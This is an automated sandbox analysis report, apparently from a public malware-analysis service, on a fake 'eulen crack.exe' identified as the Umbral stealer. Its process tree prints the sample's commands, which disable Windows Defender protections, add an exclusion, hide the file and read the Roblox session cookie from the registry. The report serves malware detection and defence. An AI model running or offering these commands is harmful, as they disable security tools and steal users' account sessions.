umbral | 09cfe7bb59e480a26b8be2568294e174316cb0c06a2536ad1400b748300350b0

Analysis

max time kernel
24s
max time network
26s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-08-2024 21:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

eulen crack.exe
Size

227KB
MD5

2f402bc7b8a9014cec4f649f3531aa84
SHA1

2c035521a6e8428554066bb1335daa44311169c5
SHA256

09cfe7bb59e480a26b8be2568294e174316cb0c06a2536ad1400b748300350b0
SHA512

3b92ed2bceb0cb8fc64fbf850f47504cde1bceb6351cb4489f5b44a9b76e6d9e69a4f9e66b067d295a5e40fd3cdd145cf71a52d2bca2bec75aeb77f4985c054f
SSDEEP

6144:eloZM+rIkd8g+EtXHkv/iD48HP3ohv0IHU2PxM4d8zb8e1m9i:IoZtL+EP88HP3ohv0IHU2PxM4dy/

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/648-1-0x000001E643900000-0x000001E643940000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5012	powershell.exe
2132	powershell.exe
572	powershell.exe
3808	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	eulen crack.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
28	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3720	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
648	eulen crack.exe
5012	powershell.exe
5012	powershell.exe
2132	powershell.exe
2132	powershell.exe
572	powershell.exe
572	powershell.exe
2644	powershell.exe
2644	powershell.exe
3808	powershell.exe
3808	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	648	eulen crack.exe
Token: SeIncreaseQuotaPrivilege	3416	wmic.exe
Token: SeSecurityPrivilege	3416	wmic.exe
Token: SeTakeOwnershipPrivilege	3416	wmic.exe
Token: SeLoadDriverPrivilege	3416	wmic.exe
Token: SeSystemProfilePrivilege	3416	wmic.exe
Token: SeSystemtimePrivilege	3416	wmic.exe
Token: SeProfSingleProcessPrivilege	3416	wmic.exe
Token: SeIncBasePriorityPrivilege	3416	wmic.exe
Token: SeCreatePagefilePrivilege	3416	wmic.exe
Token: SeBackupPrivilege	3416	wmic.exe
Token: SeRestorePrivilege	3416	wmic.exe
Token: SeShutdownPrivilege	3416	wmic.exe
Token: SeDebugPrivilege	3416	wmic.exe
Token: SeSystemEnvironmentPrivilege	3416	wmic.exe
Token: SeRemoteShutdownPrivilege	3416	wmic.exe
Token: SeUndockPrivilege	3416	wmic.exe
Token: SeManageVolumePrivilege	3416	wmic.exe
Token: 33	3416	wmic.exe
Token: 34	3416	wmic.exe
Token: 35	3416	wmic.exe
Token: 36	3416	wmic.exe
Token: SeIncreaseQuotaPrivilege	3416	wmic.exe
Token: SeSecurityPrivilege	3416	wmic.exe
Token: SeTakeOwnershipPrivilege	3416	wmic.exe
Token: SeLoadDriverPrivilege	3416	wmic.exe
Token: SeSystemProfilePrivilege	3416	wmic.exe
Token: SeSystemtimePrivilege	3416	wmic.exe
Token: SeProfSingleProcessPrivilege	3416	wmic.exe
Token: SeIncBasePriorityPrivilege	3416	wmic.exe
Token: SeCreatePagefilePrivilege	3416	wmic.exe
Token: SeBackupPrivilege	3416	wmic.exe
Token: SeRestorePrivilege	3416	wmic.exe
Token: SeShutdownPrivilege	3416	wmic.exe
Token: SeDebugPrivilege	3416	wmic.exe
Token: SeSystemEnvironmentPrivilege	3416	wmic.exe
Token: SeRemoteShutdownPrivilege	3416	wmic.exe
Token: SeUndockPrivilege	3416	wmic.exe
Token: SeManageVolumePrivilege	3416	wmic.exe
Token: 33	3416	wmic.exe
Token: 34	3416	wmic.exe
Token: 35	3416	wmic.exe
Token: 36	3416	wmic.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeIncreaseQuotaPrivilege	4932	wmic.exe
Token: SeSecurityPrivilege	4932	wmic.exe
Token: SeTakeOwnershipPrivilege	4932	wmic.exe
Token: SeLoadDriverPrivilege	4932	wmic.exe
Token: SeSystemProfilePrivilege	4932	wmic.exe
Token: SeSystemtimePrivilege	4932	wmic.exe
Token: SeProfSingleProcessPrivilege	4932	wmic.exe
Token: SeIncBasePriorityPrivilege	4932	wmic.exe
Token: SeCreatePagefilePrivilege	4932	wmic.exe
Token: SeBackupPrivilege	4932	wmic.exe
Token: SeRestorePrivilege	4932	wmic.exe
Token: SeShutdownPrivilege	4932	wmic.exe
Token: SeDebugPrivilege	4932	wmic.exe
Token: SeSystemEnvironmentPrivilege	4932	wmic.exe
Token: SeRemoteShutdownPrivilege	4932	wmic.exe
Token: SeUndockPrivilege	4932	wmic.exe
Token: SeManageVolumePrivilege	4932	wmic.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 648 wrote to memory of 3416	648	eulen crack.exe	84
PID 648 wrote to memory of 3416	648	eulen crack.exe	84
PID 648 wrote to memory of 3720	648	eulen crack.exe	90
PID 648 wrote to memory of 3720	648	eulen crack.exe	90
PID 648 wrote to memory of 5012	648	eulen crack.exe	92
PID 648 wrote to memory of 5012	648	eulen crack.exe	92
PID 648 wrote to memory of 2132	648	eulen crack.exe	94
PID 648 wrote to memory of 2132	648	eulen crack.exe	94
PID 648 wrote to memory of 572	648	eulen crack.exe	96
PID 648 wrote to memory of 572	648	eulen crack.exe	96
PID 648 wrote to memory of 2644	648	eulen crack.exe	98
PID 648 wrote to memory of 2644	648	eulen crack.exe	98
PID 648 wrote to memory of 4932	648	eulen crack.exe	100
PID 648 wrote to memory of 4932	648	eulen crack.exe	100
PID 648 wrote to memory of 3864	648	eulen crack.exe	102
PID 648 wrote to memory of 3864	648	eulen crack.exe	102
PID 648 wrote to memory of 4420	648	eulen crack.exe	104
PID 648 wrote to memory of 4420	648	eulen crack.exe	104
PID 648 wrote to memory of 3808	648	eulen crack.exe	106
PID 648 wrote to memory of 3808	648	eulen crack.exe	106
PID 648 wrote to memory of 3720	648	eulen crack.exe	108
PID 648 wrote to memory of 3720	648	eulen crack.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\eulen crack.exe
"C:\Users\Admin\AppData\Local\Temp\eulen crack.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\eulen crack.exe"
  2⤵
  - Views/modifies file attributes
  PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\eulen crack.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3864
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3808
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6f28ee8df4bdf5490a8b5ebe7d6b89cf

SHA1
6fd0961c27a4fe119bfe43e86410917f5dc2e2e9

SHA256
6f64379097ea161522d22814fc0a69c0e337950826377712adceaa67d0baae51

SHA512
416a3977862dade1534e04f2e2e8f8c7bb794c8e2313ff104a53b622b959bd5a28e8c4346bd703f0eb1c40dc4ffc7c7c5d74c5c5d138089c1fdde9dadd5051f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
58b80fe8da7d23cd3c9707f4ce93457e

SHA1
7d1c58b992631d82cabd38d738ccca072c91c124

SHA256
4479db3e2faf952801a1506140f3612e267e9bb4f5d509b0d63204429de8eef3

SHA512
82ef5d29aaf46b5fef467185193f03612058c4bbd7b9926293a79c18deefe137811f95dc59feaa649376c8711ca3253177177b538d2d953147db1ed719cba5e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3rtwxj2.00a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/648-71-0x000001E65E0F0000-0x000001E65E0FA000-memory.dmp

Filesize
40KB

Download
memory/648-35-0x000001E65E0D0000-0x000001E65E0EE000-memory.dmp

Filesize
120KB

Download
memory/648-88-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/648-87-0x00007FF8B9233000-0x00007FF8B9235000-memory.dmp

Filesize
8KB

Download
memory/648-2-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/648-33-0x000001E65E030000-0x000001E65E0A6000-memory.dmp

Filesize
472KB

Download
memory/648-34-0x000001E645910000-0x000001E645960000-memory.dmp

Filesize
320KB

Download
memory/648-72-0x000001E65E140000-0x000001E65E152000-memory.dmp

Filesize
72KB

Download
memory/648-1-0x000001E643900000-0x000001E643940000-memory.dmp

Filesize
256KB

Download
memory/648-0-0x00007FF8B9233000-0x00007FF8B9235000-memory.dmp

Filesize
8KB

Download
memory/5012-4-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-15-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-10-0x000002BAAA4E0000-0x000002BAAA502000-memory.dmp

Filesize
136KB

Download
memory/5012-3-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-18-0x00007FF8B9230000-0x00007FF8B9CF1000-memory.dmp

Filesize
10.8MB

Download